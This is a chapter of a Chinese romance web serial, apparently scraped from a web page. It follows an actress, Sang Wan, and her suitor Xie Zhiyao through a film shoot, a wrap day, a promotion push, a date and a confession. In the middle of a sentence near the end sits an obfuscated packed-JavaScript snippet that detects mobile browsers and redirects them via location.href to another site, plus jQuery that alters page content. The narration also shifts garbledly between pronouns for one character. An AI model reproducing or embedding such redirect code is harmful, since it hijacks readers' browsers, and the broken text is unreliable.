《我的镜头只为你》 3. 旧账重提 空气里有种雨后初晴的潮湿味,混着房间里没散尽的、属于谢知遥的须后水气息。桑晚坐在床沿,指尖无意识地抠着床单上一个几乎看不见的线头。她低着头,能感觉到对面投来的目光,像带着温度的探针,一下下戳在她裸露的脖颈上。 谢知遥就靠在门框上,姿态闲散,却把整个出口都堵死了。他手里把玩着一个空了的咖啡杯,指节修长,骨节分明。他看着桑晚,嘴角噙着一丝若有若无的笑,那笑却不达眼底,更像是在审视一件失而复得的、有点棘手的物品。 “桑晚,”他开口,声音不高,却像一颗石子投入死水,“你睡过我的床,穿过我的衣服,”他顿了顿,目光在她身上逡巡,仿佛要穿透那层单薄的家居服,看到那些曾经被他衣物包裹过的肌肤,“你当真不想和我试试吗?” 这句话像一根羽毛,轻轻搔刮着桑晚最敏感的神经。不是痒,是麻。她猛地抬起头,视线猝不及防地撞进他深不见底的眼眸里。那里面有试探,有玩味,甚至还有一丝她读不懂的、近乎挑衅的认真。 心脏在那一瞬间漏跳了一拍。不是因为心动,而是因为一种被逼到墙角的窒息感。他们之间横亘着太多东西——那些不清不楚的夜晚,那些用身体取暖却回避真心的时光,还有那些心照不宣的、关于“暂时”和“以后”的谎言。 她想起自己在这张床上醒来时的茫然,想起穿着他宽大的衬衫在厨房里煮咖啡的窘迫,想起他睡着时毫无防备的侧脸。那些画面像老旧的胶片电影,在脑海里一帧帧闪过,带着一种不真实的颗粒感。 “我没有。”桑晚听见自己的声音,干涩得像砂纸摩擦。她不是在回答“想不想”,而是在否认那些过往的重量。她站起身,动作有些僵硬,下意识地拉了拉身上那件属于自己的、洗得发软的棉质T恤,仿佛要以此划清界限。 她绕过床尾,不去看他,径直走向衣柜,开始胡乱地往行李箱里塞衣服。动作有些大,一件真丝吊带裙被她揉成了一团。她需要做点什么,任何事,只要能打破这令人窒息的沉默。 “我耽误了那么多天,”她背对着他,声音努力维持着平稳,却还是泄露了一丝不易察觉的颤抖,“我也要去片场上班拍戏了。”她拉上行李箱的拉链,发出“zip”的一声脆响,像是给自己下了个决断。 她转过身,终于又看向他。这一次,她的眼神里没有了闪躲,只剩下一种近乎冷酷的疏离。“这件事,”她指了指他,又指了指自己,“以后再聊。” 她拎起行李箱的把手,指节因为用力而泛白。那姿态分明在说:让一让,我要走了。 谢知遥最终还是松了口。 她没再拦桑晚,只是看着她拖着行李箱几乎是落荒而逃的背影。那句悬在半空的“以后再聊”,轻飘飘的,却像块石头压在她心上。 门关上了。 她一个人站在空荡荡的客厅里,那股属于桑晚的、淡淡的皂角味还没散尽。她烦躁地抓了抓头发,走到窗边,拉开窗帘的一角。 楼下,桑晚已经出了单元门,正吃力地拉着行李箱往路边走。她身体刚好,脸色还有些苍白,动作也透着一股子虚弱的僵硬。谢知遥的心瞬间就提了起来。 她怕。 怕桑晚这副样子去片场,又要吊威亚又要跑跳,再把身体累垮了。上次桑晚昏倒在片场的样子,她到现在还nightmares。那种手足无措的恐慌,她不想再尝第二遍。 不安像藤蔓一样缠绕上来,越收越紧。 “该死。”她低骂一声,抓起挂在衣帽架上的外套和车钥匙,也出了门。 她没有上前,只是远远地跟在桑晚身后。看着桑晚打车,她也跟着打了一辆车。司机从后视镜里瞥了她好几眼,大概觉得这人鬼鬼祟祟。 到了影视基地门口,桑晚付了钱,匆匆下车,连回头看一下的欲望都没有,径直就往里走。 谢知遥的车停在路边。 她看着桑晚挺直的背脊,那是一种带着防御姿态的倔强。她想喊住桑晚,想说“我送你进去”,想说“你真的行吗”。但话到嘴边,又咽了回去。 她知道桑晚不想看见她。 她只能眼睁睁看着桑晚走进那扇大门,然后,一个穿着保安制服的人拦住了我。 “小姐,探班请出示证件或者预约。” 谢知遥看着那扇紧闭的铁门,和门内熙熙攘攘、属于桑晚的世界,第一次感到了一种被排斥在外的无力感。 “我不探班,我……等人。” 保安上下打量她,眼神里满是“我见多了你这种想混进去的粉丝”的了然,但还是恪尽职职地摇了摇头:“不好意思,无关人员不能进。您要等人,去那边树荫底下等吧。” 谢知遥没再争辩。 我退到路边的树荫下,看着来来往往进出的剧组人员,看着那些扛着器材、行色匆匆的背影。她成了一个局外人,一个只能干等的、多余的人。 时间过得格外慢。 太阳渐渐升高,晒得她有些发晕。她时不时看一眼手机,又把目光投向那扇紧闭的大门。她想象着桑晚在里面的样子,是不是已经开始化妆了?是不是在对台词?有没有按时吃饭? 她想给桑晚发个消息,问一句“到了吗”,又怕打扰桑晚工作。她想进去看看,却又被那道门和那个保安死死挡在外面。 这种只能被动等待的感觉,糟透了。 我靠在树干上,点燃了一根烟,又想起桑晚不喜欢烟味,烦躁地掐灭了。她只能一遍遍地看着那扇门,把所有的担忧和不安,都压进沉默的注视里,等着桑晚收工。 天色擦黑的时候,影视基地的大门终于有了动静。 收工的crew三三两两走出来,桑晚夹在中间,脸上还带着没卸干净的舞台油彩,整个人看起来有些憔悴。她一眼就看到了路灯下那个熟悉的身影。 谢知遥靠在路边的车门上,站得笔直,目光一直锁着大门的方向。看到桑晚出来,她立刻直起身,迎了两步,又像是想到了什么,硬生生地顿住了脚步。 桑晚拖着疲惫的步伐走过去。一天的拍摄耗尽了她所有的力气,可眼前这个人,又给她添了新的心力交瘁。 “你怎么还不回去?”她的声音哑了,带着浓浓的鼻音,语气里是藏不住的疲惫和一丝不易察觉的、连她自己都没意识到的埋怨,“在这等着干什么?” 谢知遥走近了些,目光在桑晚脸上逡巡,想从那苍白的面色里看出点什么。她没回答,只是伸出手,似乎是想帮桑晚拿下那个看起来很沉重的行李箱,却又在半空中停住,收了回去。 “我怕你再晕倒。”谢知遥的声音很轻,带着一丝沙哑,像是在陈述一个再自然不过的事实,“我只能守着你呗。你又不愿意见我。” 夜风吹起她额前的碎发,露出一双写满了担忧和……近乎恳求的眼睛。那个在商场上雷厉风行、总是带着几分漫不经心笑意的谢知遥,在这一刻,竟然显得有些手足无措。 她往前又迈了一小步,拉近了彼此的距离,声音压得更低,带着一种近乎温柔的妥协:“桑桑……” 这两个字从她嘴里叫出来,带着一种小心翼翼的亲昵,像羽毛一样搔刮着桑晚的心。 “别耍小孩子气了,原谅我好不好?”谢知遥的目光灼灼,仿佛要将桑晚看穿,“至于跟我在一起的这件事,你慢慢思考,我不急。” 她顿了顿,似乎是在斟酌词句,然后才又开口,语气里带着一种近乎卑微的承诺:“你好好工作,我送你回去。以后……我等你消息。” 暮色四合,影视基地门口的路灯次第亮起,将人影拉得细长。 谢知遥的手机在口袋里震动了一下。她拿出来瞥了一眼,嘴角极快地向上扬了一下,随即又恢复了那副带着点愁绪的模样。 她把手机屏幕转向桑晚,上面是打车软件的界面,一辆车已经稳稳地停在了路边,车牌号清晰可见。 “看,车到了。”谢知遥的声音在微凉的晚风里显得有些发哑,她没急着动,而是定定地看着桑晚,眼神里带着一种近乎执拗的恳求。 “桑桑,跟我一起回家吧。” 她往前凑近了一步,近到桑晚能清晰地看到她眼底映出的自己那有些狼狈的身影。 “我一个人在家,没有人陪我,”谢知遥的声音更低了,几乎像是在喃喃自语,带着一丝不易察觉的委屈,“好孤独的。” 夜风吹起她额前的碎发,露出一双写满了期盼和不安的眼睛。她顿了顿,目光紧紧锁住桑晚的神色,像是在赌,赌那份她自认为还存在的、桑晚对她的在意。 “我知道你肯定还在气头上,”她承认得很快,语气里带着一丝无奈的妥协,“但是……你就陪陪我,好不好?” 桑晚看着她,嘴唇动了动,最终却什么也没说,只是极其轻微地点了一下头。 “……好。” 这个字轻飘飘的,却让谢知遥眼底的阴霾瞬间一扫而空,像是乌云散尽后洒下来的月光,清亮又温柔。但她面上却没显露出太多的欣喜若狂,只是嘴角的弧度压都压不下去,迅速地、自然地伸出手,牵住了桑晚微凉的手指。 “走。” 她的手掌宽大而温暖,干燥的指腹带着薄茧,将桑晚那只冰凉的手完全包裹住,力道适中地牵着她,一步一步地往楼上走。 楼梯间里有些昏暗,只有声控灯随着她们的脚步亮起又熄灭。谢知遥走在前面半步,替桑晚挡着可能撞上的墙角,时不时回头看一眼身后的桑晚,眼神里是藏不住的在意。 “慢点,台阶。” 终于到了家门口,谢知遥掏出钥匙开门,手里的动作都比平日里轻快了几分。 进了屋,熟悉的、属于谢知遥的气息扑面而来。桑晚有些局促地站着,看着谢知遥换上拖鞋,然后转身,靠在鞋柜上,好整以暇地看着她。 “今晚想怎么睡?”谢知遥的语气里带着一丝不易察觉的调侃,眼神却很专注,上下打量着桑晚,“你也没有带衣服,你带的行李估计只有片场要用的道具和剧本吧。” 她直起身,走到桑晚面前,近距离地看着她,那双总是显得有些漫不经心的眸子里,此刻却映满了桑晚的身影。 “在我的衣柜里挑一件吧,天色也晚了洗洗漱该睡了。” 她说完,没等桑晚反应,便自然而然地牵着她的手腕,将她带向自己的卧室。那姿态,仿佛桑晚本就该属于这里,本就该睡这张床,穿她的衣服。 桑晚站在谢知遥的衣柜前,拉开柜门,一件件地翻。 全是长的,要么就是那种一看就很贵、她不敢上身的料子。她踮起脚尖往最顶上那层够了够,指尖只碰到了衣架的边。 她够不着。 试了两次,都有点气喘。身后忽然传来一阵轻笑,紧接着,谢知遥的气息就贴了上来。 谢知遥从后面探过身,手一伸,轻而易举地就把那件宽松的白衬衫拿了下来,顺手抖开。 “想要这件是不是?我给你拿。”谢知遥的声音里带着点戏谑,下巴朝衣柜顶上努了努,“就你这小个子,能碰到就算好的了。” 她把衬衫塞进桑晚怀里,手掌在她头顶按了一下,语气带着命令,却又透着股说不出的宠:“快去换上吧。” 桑晚瞪了她一眼,抱着衣服进了浴室。 没过多久,浴室的门“咔哒”一声开了。 桑晚穿着谢知遥的那件白衬衫走出来。衣摆垂到她大腿中间,领口有些大,滑到了一边的肩膀上,露出一截白皙的锁骨。袖子太长,她挽了好几道才露出手腕。 谢知遥正靠在床头玩手机,听到动静抬头看了一眼。 那一眼,就定住了。 心里那个念头不受控制地冒出来:真好看。 那件衬衫她穿了几年,早就洗得发软,原本清冷的调子,穿在桑晚身上,却莫名地……有种说不清的、软乎乎的勾人味道。 谢知遥没说话,只是盯着她看,眼神深了点,喉结动了动,然后若无其事地移开视线,把手机扔到一边。 “过来,”谢知遥拍了拍身边的位置,语气带着一种不容置疑的命令感,但眼神却软得不行,“躺我旁边。好好睡一觉。” 她看着桑晚还站在原地,像根木头桩子似的,忍不住又补充了一句,声音放轻了些:“不要害怕我,我又不会吃人。” 她朝桑晚勾了勾手指,带着点不耐烦的催促:“来,快过来。” 桑晚站在原地,像一只受惊的兔子,耳朵都竖起来了。她看了看那张大床,又看了看谢知遥,眼神里满是警惕和犹豫。 过了好一会儿,她才像是下定了某种决心,迈开了步子。 但她不敢大步往前跨,就这么一小步、一小步地往前挪,磨磨蹭蹭,恨不得把地板的纹路都看个清楚。 谢知遥靠在床头,抱着手臂看着她这副模样,太阳穴突突地跳。她耐心地等了几秒,看着桑晚离床沿还有半米远的距离,终于看不下去了。 “行了,别磨叽了。” 她低语一声,长臂一伸,直接越过半米的距离,一把抓住桑晚纤细的手腕,手腕上的骨头很轻,带着点凉意。谢知遥手上一用力,毫不费力地就把人给拽到了床上。 桑晚“哎呀”一声,整个人失去平衡,跌进了柔软的被褥里,又惊又羞地瞪向谢知遥。 谢知遥居高临下地看着她,眼神里带着点无奈的笑,语气却是那种惯常的、漫不经心的高冷调子,只是那高冷里,藏着怎么都藏不住的宠溺。 她俯下身,双手撑在桑晚身体两侧,将她圈在自己的领地里,声音压低,带着点磁性,像是在笑她: “让你上我的床就这么难上吗?嗯?我的床也没刺儿啊。” 她的气息洒在桑晚的额头上,温热的,带着点淡淡的、让她心安的木质香气。 桑晚的脸腾地一下就红了,不知道是气的还是羞的,她想往后缩,却被谢知遥的双臂牢牢困在方寸之间。 谢知遥看着她这副模样,嘴角的笑意终于不再掩饰,她直起身,侧躺在桑晚身边,伸手关掉了床头灯。 “睡吧。”她的声音在黑暗里显得格外清晰,带着一种让人无法拒绝的温柔和不容置喙的霸道,“今晚哪儿也别想去。” 一晚上过去,天刚蒙蒙亮,城市还在薄雾中沉睡,桑晚就醒了。 她轻手轻脚地从床上爬起来,回头看了一眼还在熟睡的谢知遥。晨光透过窗帘缝隙洒进来,在谢知遥的睫毛下投下一小片阴影,平日里那双总是带着点漫不经心笑意的眼睛此刻闭着,显得格外安静。 桑晚没敢惊动她,自己悄悄去了浴室,用冷水洗了把脸,试图驱散一夜浅眠带来的疲惫。 她的戏份就差最后一点点没完成,今天得赶早去片场。 到了地方,她几乎是立刻就投入了拍摄。没有多余的废话,一条过。导演看着监视器,满意地点点头,喊了“杀青”。 “桑晚,辛苦了!以后常联系啊!” “桑老师,杀青快乐!” 周围响起零星的祝福声,有人递来一束花。桑晚接过花,脸上挂着职业性的微笑,一一回应。 “谢谢大家,这段时间也辛苦了。” 心里那块悬了许久的大石头终于落地,可随之而来的,是一种巨大的、空落落的疲惫感。这几个月的紧绷、焦虑、身体的不适,还有和谢知遥之间那些剪不断理还乱的情绪,在这一刻,像是潮水退去后留在沙滩上的泥沙,黏腻又沉重。 她拖着那股子疲惫,一步一步地走回了谢知遥的家。 钥匙插进锁孔,转动。门开了,屋子里很安静,空气里还残留着昨晚两人共处一室的、淡淡的气息。 她把那束花随手插在了的花瓶里,脱掉鞋子,连衣服都没换,就把自己重重地摔在了沙发上。 终于……结束了。 谢知遥是被一阵轻微的关门声吵醒的。 她迷迷糊糊地睁开眼,伸手往身边一摸,空的。被窝早就凉了。 她皱了皱眉,撑着坐起来,一眼就看见桑晚正靠在沙发上,整个人陷在里面,头一点一点的,显然是累得不行,却又强撑着没倒下。 谢知遥的心一下子就软了。 她悄无声息地走过去,看着桑晚那张苍白疲惫的脸,眉头不自觉地拧了起来。就这么坐着睡,肯定要着凉。 她没出声,只是弯下腰,动作轻柔地将桑晚从沙发上打横抱了起来。 桑晚在她怀里动了动,发出一声模糊的呓语,像是受惊的小动物,下意识地往温暖的来源处蹭了蹭,找了个舒服的姿势,又沉沉地睡了过去。 谢知遥抱着她,一步一步地走回卧室,小心翼翼地将她放在柔软的大床上。 她拉过被子,仔细地替桑晚盖好,连指尖都掖进了被窝里。做完这些,她却没有离开,只是坐在床边,侧着身,静静地守着。 窗外的天色由明转暗,房间里没开灯,有些昏暗。 桑晚是被一种莫名的感觉弄醒的。她睁开眼,视线还有些模糊,适应了好一会儿,才看清床边坐着一个人。 谢知遥就那么坐着,侧着身,手撑着下巴,眼睛一眨不眨地盯着她,仿佛她是什么稀世珍宝,看多久都不会腻。房间里很安静,只能听到两人轻浅的呼吸声。 桑晚被她看得有些发毛,清了清嗓子,声音还带着刚睡醒的沙哑和一丝莫名的心虚:“干什么这么盯着我?我脸上有东西?” 她刚问完,肚子就很不合时宜地叫了起来。 “咕噜噜——” 声音在安静的房间里格外响亮。 谢知遥原本专注的眼神瞬间变了,嘴角一勾,那股子惯常的、带着点戏谑的笑意又回来了。她挑了挑眉,身子前倾,靠近了些,语气里满是调侃:“饿了?嗯?” 她不等桑晚回答,便直起身,自然而然地伸出手,将桑晚从被窝里拉起来:“走,起身。我带你去吃点好的。” 她一边说,一边麻利地帮桑晚找来外套,披在她身上:“有一家面馆特好吃,叫‘马家牛羊肉汤馆’。他家的牛肉粉丝汤是一绝,汤头熬得特别浓。” 谢知遥一边帮桑晚整理衣领,一边絮絮叨叨,语气里带着点不容置喙的安排:“看你要吃小份、中份还是大份?点大份的吧,咱俩一起吃,还管饱。这汤特好喝,你肯定喜欢。” 她帮桑晚把外套的拉链拉好,看着她的眼睛,又补充了一句,语气里带着一丝不易察觉的温柔:“有没有什么忌口的,桑桑?” 桑晚被她这一连串的动作和话语弄得有些懵,下意识地摇了摇头:“没有。” 谢知遥笑了,那笑容里带着点得逞的意味,她牵起桑晚的手,拉着她就往门口走,语气轻快:“那就行。待会儿钱我付吧,算我请你的。毕竟今天你杀青,让你高兴高兴。” 谢知遥看着那碗刚上桌、热气直冒的大碗牛肉汤,眉头立马皱了起来。她伸手就把桑晚面前的那个空碗拿了过来,拿着大勺子,从那个滚烫的大碗里,小心翼翼地舀了小半碗汤,又挑了几根泡软的粉丝和一小块牛肉放进去,这才推到桑晚面前。 “还是给你拿个小碗吧,”谢知遥一边说,一边用勺子轻轻搅动着小碗里的汤,帮它散热,“这大碗刚上来太烫,你这刚睡醒,肠胃弱,别再烫着嘴或者激着胃。” 她把小碗往桑晚那边推了推,眼神示意她尝尝:“你先尝一口这汤,很鲜美的。我常来这家吃,老板熬汤的火候掌握得特别好。” 桑晚看着眼前这小碗热气腾腾的汤,又抬头看了看谢知遥那副“一切尽在掌握中”的样子,心里那点因为被当成小孩照顾而产生的别扭,瞬间就被这浓郁的香气给打败了。 她拿起勺子,吹了吹,小小地抿了一口。 鲜香醇厚的汤汁一入口,瞬间驱散了她一身的疲惫和寒气。 “嗯!确实好吃,挺鲜的!”桑晚眼睛一亮,忍不住又喝了一大口,整个人都暖和了起来,“这汤头熬得真棒,我感觉我吃上这一碗,我就可以续上第二碗!” 谢知遥靠在椅背上,好整以暇地看着桑晚吃得津津有味的样子,嘴角噙着一抹淡淡的笑意。听到桑晚说要续第二碗,她挑了挑眉,那双总是显得有些漫不经心的眸子里,此刻满是戏谑。 “就你这小体格?”谢知遥拖长了音调,语气里带着毫不掩饰的怀疑和调侃,“能吃上两碗大份的?你觉得我信吗?” 她看着桑晚被自己说得脸颊微红,又不服气地埋头猛吃的模样,忍不住轻笑出声,拿起公筷,夹了一大块炖得软烂的牛肉,放进了桑晚的碗里。 “慢点吃,没人跟你抢。” 谢知遥吃得快,早就在桑晚放下碗之前结好了账。她就坐在对面,撑着下巴,安静地看着桑晚把最后一口汤喝完,眼神里带着点笑意。 等桑晚心满意足地抬起头,谢知遥才站起身,自然地伸出手,牵住了桑晚还有些温热的手。 “走吧。”她语气很轻,带着不容置喙的温柔。 两人并肩走出面馆,傍晚的风带着凉意吹过来,桑晚下意识地往谢知遥身边靠了靠。谢知遥没说话,只是把她的手握得更紧了些。 “怎么样,好吃吧?”谢知遥偏过头看她,语气里带着点显而易见的得意,“没骗你吧。” 她顿了顿,看着街边熙熙攘攘的人流,问道:“下一步想去哪逛?是直接回家,还是……” 桑晚摸了摸自己吃得饱饱的肚子,感觉暖洋洋的,一点都不想动弹,但又觉得这么早回家有点可惜。 “逛一会儿吧,”她小声说,“毕竟刚吃完,我想消消食。” 在公园里逛了好一会儿。公园里没什么人,只有几对像他们一样的情侣在散步。谢知遥一直牵着桑晚的手,走得很慢,没有说话,就让她跟着自己的节奏在林荫小道上慢慢踱步。桑晚的肚子早就消了食,人也精神了不少,看着路边昏黄的路灯和远处城市璀璨的灯火,心里有种说不出的安宁。 夜深了,风也更凉了,谢知遥这才停下脚步,转头对桑晚说:“回去吧。” 回到家,谢知遥把浴室的灯打开,热气腾腾地冒出来,她递给桑晚一套新的牙刷和毛巾。 “去洗吧,热水够用。”谢知遥靠在门框上,看着桑晚走进去,补充了一句,“洗干净点,早点睡。” 桑晚洗完出来时,谢知遥已经在床上躺着了,手里拿着本书在看。她见桑晚出来,就把书放下,自己起身去了浴室。 没过多久,浴室的灯灭了,谢知遥走出来,身上带着水汽,头发湿漉漉地滴着水。他走到床边,掀开被子的一角,拍了拍身边的位置。 “睡吧。” 他的声音在夜里显得格外低沉,带着刚洗完澡后的慵懒。桑晚乖乖地躺下,谢知遥关了灯,整个房间陷入黑暗,只有窗外的月光洒进来,在地板上投下一片清冷的光亮。 他侧过身,手臂自然而然地搭在桑晚的腰上,将她往自己怀里带了带,下巴抵在她的头顶,呼吸均匀而平稳。 “晚安,桑桑。” 桑晚在他怀里找了个舒服的姿势,闻着他身上清冽又好闻的味道,眼皮越来越沉。 “晚安。”她迷迷糊糊地应了一声,很快就睡了过去。 几个星期的时间一晃就过去了。 桑晚参演的那部剧,终于上映了。 谢知遥以前对什么事情都显得漫不经心,一副“事不关己高高挂起”的样子。可这一次,她却像是变了个人。她不知道给身边的朋友打了多少电话,发了多少条消息,甚至动用了自己的人脉,让圈里的人都去看看桑晚演的这部剧。 “都给我去看看,桑晚演的那个。” “不是主角,是个配角,但你们一定要看。” “看完记得给点评价,去转发一下。” 她平时话不多,但为了桑晚,却能在一个个电话里,不厌其烦地重复着这些话。 朋友都调侃她:“谢总,你这是转性了?为了一个配角这么上心?” 谢知遥在电话那头沉默了一下,语气很淡,却带着一种不容置疑的笃定:“这部剧要是火了,桑晚就可以演进阶的角色了,咖位也能大不少。” 她知道桑晚为了这个角色付出了多少努力,也知道这个机会对桑晚来说意味着什么。 所以,她愿意放下自己的身段,去为她铺路,去为她造势。她只是想让桑晚知道,无论发生什么,她都不是一个人在战斗。 而桑晚,对此一无所知。她只是每天照常去片场,或者待在家里,偶尔和谢知遥通个电话,聊聊日常。 她不知道,有一个人,在她看不见的地方,默默地为她撑起了一片天。 这部剧播得很快,十几天的功夫,就迎来了大结局。 这十几天里,谢知遥几乎没闲着。她平时看着懒散,真要办起事来,雷厉风行得吓人。她不停地在幕后拉热度,找人写剧评,上热搜词条,甚至亲自下场去和几个有影响力的博主沟通,只为了能让桑晚演的这个小配角被更多人看到。 她不想让桑晚再像以前那样,为了一个试镜跑断腿,看尽别人的脸色。她想把最好的资源都捧到桑晚面前,想让她以后的路,能顺顺当当的,不用再受那么多苦头。 功夫不负有心人。 随着剧集的播出,桑晚演的那个小配角,真的慢慢火了起来。观众开始注意到这个眼神清澈、演技细腻的女孩。她的微博粉丝数像坐了火箭一样,蹭蹭往上涨,很快就突破了五十万。 当桑晚看着手机里不断跳出来的粉丝增长提醒,还有评论区里越来越多的“姐姐好美”、“这个配角好出彩”的评论时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185247|197007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她还有些恍惚。 她拿着手机,跑到正在沙发上翻杂志的谢知遥面前,把屏幕凑到她眼前,声音里带着掩饰不住的惊喜和一点点不确定:“谢知遥,你看,粉丝涨了这么多……” 谢知遥放下杂志,抬眼看她,眼神里是一片温柔的深邃。她没说是自己做的,只是伸出手,很自然地帮桑晚理了理有些乱的头发,语气平淡得像是在说“今天天气不错”,却带着一种不容置疑的肯定: “嗯,看见了。桑桑,你值得更好的。” 谢知遥看着桑晚手机屏幕上显示的粉丝数,五十一万两千三百四十五。她自己心里清楚,这背后她推了一把,但更多的,是桑晚自己争气。 她把手机放下,转头看向桑晚,嘴角扬起一个很soft的笑容,眼神亮亮的,带着点少有的雀跃。 “粉丝破50万了,开不开心?”谢知遥问,声音里带着笑意。 不等桑晚回答,她就站起身,拿过挂在衣架上的外套,顺手也帮桑晚把外套拿了过来,语气轻快得像是在哄小孩。 “走,我带你去游乐园玩。就当是……庆祝你粉丝破50万。”谢知遥帮桑晚把外套穿上,扣子没扣好,她就抬手帮她一颗颗系好,“桑桑,你以后的粉丝肯定会越来越多的。从这些小配角,慢慢演到大女主,站在最大的舞台上。” 她系好最后一颗扣子,抬起头,双手扶着桑晚的肩膀,很认真地看着她的眼睛,语气里是毫不掩饰的信任和笃定。 “我相信你可以的。” 到了游乐园,人声鼎沸,空气里飘着爆米花和棉花糖甜腻的味道。谢知遥没让桑晚拿任何东西,所有的零食、饮料,都由她一手包办。 “先去坐摩天轮吧。”谢知遥指着前方那个巨大的、缓缓转动的轮盘,语气里带着点不容置疑的温柔。 摩天轮的座舱缓缓上升,将整个游乐园的景色尽收眼底。桑晚靠在玻璃上,看着脚下的人群变得像蚂蚁一样小,心里的那些紧张和压力,仿佛也随着高度的攀升,一点点被抛在了脑后。 “你看,”谢知遥站在她身后,双手轻轻扶着她的肩膀,声音在狭小的座舱里显得格外低沉,“世界其实很小,你的未来,很大。” 桑晚转过头,看着她,心里暖暖的。 下了摩天轮,谢知遥又拉着她往鬼屋的方向走。桑晚看着那阴森森的入口,上面挂着骷髅和蜘蛛网,本能地想往后缩。 “我……我不去了吧。”桑晚拽着谢知遥的衣角,小声说。 “没事,有我在。”谢知遥回头冲她一笑,眼神里满是鼓励,“你不是刚演完戏吗?去看看人家是怎么‘演’鬼的。” 鬼屋里阴暗潮湿,到处都是诡异的绿光和血红色的灯光,时不时传来几声凄厉的惨叫和阴森的笑声。桑晚一开始还能强装镇定,紧紧地抓着谢知遥的手,但当一个浑身是血、头颅耷拉在肩膀上的“女鬼”突然从天花板上倒挂下来,发出刺耳的尖啸时,桑晚彻底崩溃了。 “啊——!” 她吓得尖叫一声,眼泪瞬间就飙了出来,整个人不受控制地往谢知遥怀里钻,浑身都在发抖。 “别怕,别怕!”谢知遥被她吓得一愣,随即赶紧把她紧紧搂进怀里,一手护着她的头,轻轻拍着她的背,语气里满是心疼和安抚。 “桑桑,不怕,这没有真人NPC,这都是假的!你看,这都是机器做的,不是真人扮的!”谢知遥一边说,一边试图引导桑晚去看那个还在晃荡的“女鬼”,“你看它的动作,多僵硬,是机器,不是人。” 桑晚把脸埋在谢知遥的胸口,不敢抬头,眼泪鼻涕蹭了她一身,哭得上气不接下气。 “好了好了,别哭了桑桑,我们不看了,我们出去。”谢知遥不再强求,只是抱着她,一下一下地轻抚着她的背,声音温柔得能滴出水来,“不怕了,我在呢。都是假的,没人能伤害你。” 在谢知遥的轻声安抚下,桑晚的哭声渐渐小了,但还是抽抽噎噎的,紧紧抓着谢知遥的衣服,一步也不敢松开。谢知遥就这么抱着她,慢慢走出了鬼屋,重新回到了阳光明媚的游乐场。 “好了,出来了。”谢知遥帮她擦掉脸上的泪痕,看着她哭得红肿的眼睛,忍不住笑了,“我们桑桑,演戏的时候那么勇敢,怎么被个假鬼给吓哭了?” 桑晚吸了吸鼻子,有些不好意思地低下头,小声嘟囔:“……太突然了。” 谢知遥没再笑话她,只是牵起她的手,十指相扣,紧紧地握着。 “走,我们去吃冰淇淋,把刚才的不开心都忘了。”谢知遥拉着她,往最近的冰淇淋车走去,“吃完我们再去看场电影,好不好?” 桑晚看着她,红着眼眶,终于点了点头。只要有谢知遥在,好像什么都不怕了。 谢知遥牵着桑晚在附近找了家冰淇淋店。桑晚选了个草莓味甜筒,谢知遥自己则随便拿了个巧克力的。 看着桑晚捧着甜筒小口小口吃着,眼眶还微微泛红,但情绪明显平复了许多,谢知遥才掏出手机,低头捣鼓起来。 “票我买好了,”谢知遥把手机屏幕转向桑晚,给她看电子票信息,“三点开始,五点结束,正好赶上看完能吃晚饭。” 屏幕上显示的是一部最近口碑不错的爱情片,海报拍得很唯美。 “吃快点,小花猫,吃完我们去电影院门口坐会儿,等开场。”谢知遥说着,顺手帮桑晚把嘴角没擦干净的一点冰淇淋沫给抹掉了。 两人吃完冰淇淋,便慢悠悠地往电影院走。谢知遥买了杯热奶茶给桑晚暖手,自己则一手插在兜里,一手很自然地虚虚护在桑晚身后,生怕她被人撞到。 到了电影院,离开场还有段时间。谢知遥找了个视野好的角落,让桑晚坐着休息,自己则去买了两大包零食,爆米花、薯片、可乐,应有尽有。 “你确定能吃完?”桑晚看着那堆成小山的零食,有些无奈。 “嗯,你心情不好,得多吃点。”谢知遥把零食塞到她手里,自己则在她旁边的座位上坐下,腿随意地伸展着,侧过头,目光落在大屏幕上正在播放的广告上。 “休息一会儿,等电影开始了我叫你。”谢知遥的声音在嘈杂的影院大厅里显得很温和。 桑晚靠在椅背上,手里抱着温热的奶茶,看着身边这个明明比自己还像需要照顾的人,此刻却一副“我来守护你”的模样,心里的最后一点惊吓和阴霾,也彻底消散了。 她偷偷看了一眼谢知遥的侧脸,嘴角不自觉地弯了起来。这个下午,虽然被鬼屋吓哭了,但好像……也挺好的。 电影结束,灯光亮起,桑晚还有些意犹未尽地跟着人群往外走。谢知遥很自然地牵起她的手,带着她熟练地穿过商场,直奔地下停车场。 “谢知遥,你今天怎么看电影点了个爱情片啊?”桑晚一边走一边问,语气里带着点好奇和探究,“特意的?” “嗯,看看你喜欢什么样的剧情。”谢知遥回答得很自然,脚步没有停。 “还有,”桑晚又问,“今天晚上约的餐厅怎么也那么浪漫啊?你以前不是最讨厌这种花里胡哨的地方吗?” 她总觉得今天的谢知遥有点不一样,从游乐园开始,到鬼屋,再到电影和晚餐,一切都安排得太过周到,甚至……有些刻意。 “你想干啥,谢知遥?”桑晚停下脚步,有些狐疑地看着她。 谢知遥被她问得也停了下来。她转过身,面对着桑晚,脸上的漫不经心和调侃都褪去了,取而代之的是一种前所未有的认真和郑重。 她没有立刻回答,只是深深地看了桑晚一会儿,然后才缓缓开口,声音比平时低沉了许多,带着一丝不易察觉的紧张。 “桑桑,”她叫她的名字,语气很轻,却异常清晰,“我想和你在一起,可以吗?” 桑晚愣住了,脑子有一瞬间的空白。 不等她反应,谢知遥又继续说道,语气里带着一种破釜沉舟的恳切:“我不想再被你拒绝了。你看,这么长的时间相处,我们的关系是不是也挺好的?所以……可以试试吗,桑桑?” 她就这么看着桑晚,眼神里是从未有过的期待和一丝小心翼翼的不安,仿佛在等待一个最终的审判。周围来来往往的人群,喧闹的商场背景音,似乎都在这一刻被隔绝开来,整个世界里,只剩下她和她等待的答案。 桑晚听了谢知遥的话,咬着嘴唇沉默了一会儿,眼神有些闪烁。她抬起头,看着谢知遥那双认真又带着期待的眼睛,声音轻得像羽毛。 